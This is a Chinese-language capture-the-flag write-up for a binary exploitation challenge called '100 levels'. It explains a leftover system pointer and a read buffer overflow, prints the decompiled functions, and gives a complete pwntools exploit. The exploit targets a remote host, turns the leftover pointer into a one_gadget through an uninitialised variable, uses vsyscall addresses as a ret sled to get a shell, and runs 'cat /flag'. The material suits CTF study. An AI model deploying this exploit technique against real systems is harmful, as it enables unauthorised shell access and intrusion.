1000级的简版100级。
程序两个函数一个是给个提示,这时候会把system放到栈里(但没有输出),第二个是进行一个100层递归回答问题。
漏洞:
- hint函数在if前面将system放到栈里,这样system在栈里有残留
- 第2个漏洞是read有溢出,而且很长。
问题是这个题开启了随机化,这样题目加载地址、栈地址、libc加载地址都是随机的,这样就没有可写的东西了。
看来的思路:
- 在libc-2.23-0ubuntu9前,使用vsyscall这个东西的地址是固定的,其中第1个函数可以当滑板(相当于ret),这样填充适当的滑板到指定位置执行
- 残留的system在加上指定数字后得到one_gadget,利用未初始化指针v4和偏移将system改为one_gadget
先看下v4
int m1go()
{
__int64 v1; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 v5; // [rsp+10h] [rbp-110h]
__int64 v6; // [rsp+18h] [rbp-108h]
char v7[256]; // [rsp+20h] [rbp-100h] BYREF
puts("How many levels?");
v1 = read_long();
if ( v1 > 0 )
v4 = v1;
else
puts("Coward");
puts("Any more?");
v5 = v4 + read_long(); //这里v4由于未初始化,ida会特意标所橙色,v1输入0会保留残留的system
if ( v5 > 0 )
{
if ( v5 <= 99 )
{
v6 = v5;
}
else
{
puts("You are being a real man.");
v6 = 100LL;
}
puts("Let's go!'");
v2 = time(0LL);
if ( (unsigned int)sub_E43((unsigned int)v6) )
{
v3 = time(0LL);
sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, (unsigned int)(v3 - v2));
puts(v7);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}
_BOOL8 __fastcall sub_E43(signed int a1)
{
__int64 v2; // rax
__int64 buf[4]; // [rsp+10h] [rbp-30h] BYREF
unsigned int v4; // [rsp+34h] [rbp-Ch]
unsigned int v5; // [rsp+38h] [rbp-8h]
unsigned int v6; // [rsp+3Ch] [rbp-4h]
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
if ( !a1 )
return 1LL;
if ( !(unsigned int)sub_E43((unsigned int)(a1 - 1)) )
return 0LL;
v6 = rand() % a1;
v5 = rand() % a1;
v4 = v5 * v6;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v6, v5);
read(0, buf, 0x400uLL); // 溢出
v2 = strtol((const char *)buf, 0LL, 10);
return v2 == v4;
}
递归有溢出很大但是递归会先调用100次入栈然后再退栈,所以先要处理完99次,在最后一次再溢出修改。
完整的exp:
from pwn import *
'''
需要在ubuntu16才能成功
'''
local = 0
if local == 1:
p = process('./pwn') #Ubuntu GLIBC 2.23-0ubuntu9
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
else:
p = remote('111.200.241.244', 63367)
libc_elf = ELF('./libc.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
p.sendlineafter(b"Choice:\n", b'2') #hint
p.sendlineafter(b"Choice:\n", b'1') #go go.v4= system
p.sendlineafter(b"How many levels?\n", b'-1') #v4 = system
offset = one[0] - libc_elf.sym['system']
print('offset', offset)
p.sendlineafter(b"Any more?\n", str(offset).encode()) #v5=v4=one_gadget
#v5>99 v6=100
for i in range(99):
p.sendafter(b'? Answer:', b'1'.ljust(0x24, b'\x00')+ p32(1))
'''
0x00007fffffffde10│+0x0080: 0x00007fffffffe0a0 → 0x0000000000000001
0x00007fffffffde18│+0x0088: 0x000003e8f7a8782b
0x00007fffffffde20│+0x0090: 0x0000000000000000 buf
0x00007fffffffde28│+0x0098: 0x0000000000000000
0x00007fffffffde30│+0x00a0: 0x0000000000000000
0x00007fffffffde38│+0x00a8: 0x0000000000000000
0x00007fffffffde40│+0x00b0: 0x0000000000000000 v4 v5
0x00007fffffffde48│+0x00b8: 0x00007fffffffdf80 v6 i
0x00007fffffffde50│+0x00c0: 0x00007fffffffdf80 → 0x00007fffffffdfc0 → 0x0000555555554fd0 rbp
0x00007fffffffde58│+0x00c8: 0x0000555555554c74 → <go()+248> test eax, eax ret
0x00007fffffffde60│+0x00d0: 0x0000000000000000 .
0x00007fffffffde68│+0x00d8: 0x0000555561fbf026 .
0x00007fffffffde70│+0x00e0: 0x00007ffff7a523a0 → <system+0> test rdi, rdi 执行一次hint后v4对应位置被写上system地址,再通过偏移改为one
0x00007fffffffde78│+0x00e8: 0x00000000000003e8
0x00007fffffffde80│+0x00f0: 0x0000004e5546204f ("O FUN"?)
'''
# buf v4 v5 v6 rbp ret->vsyscall
#payload = b'1'.ljust(0x24, b'\x00') + p32(1)+p32(0)+p32(0)+p64(0)+p64(0xffffffffff600000)*3
payload = b'A'*0x38+p64(0xffffffffff600000)*3 #执行结束后在ret位置写vsyscall_gettimeofday当滑板,滑到one执行
p.sendafter(b'? Answer:', payload)
sleep(0.1)
p.sendline(b'cat /flag')
p.interactive()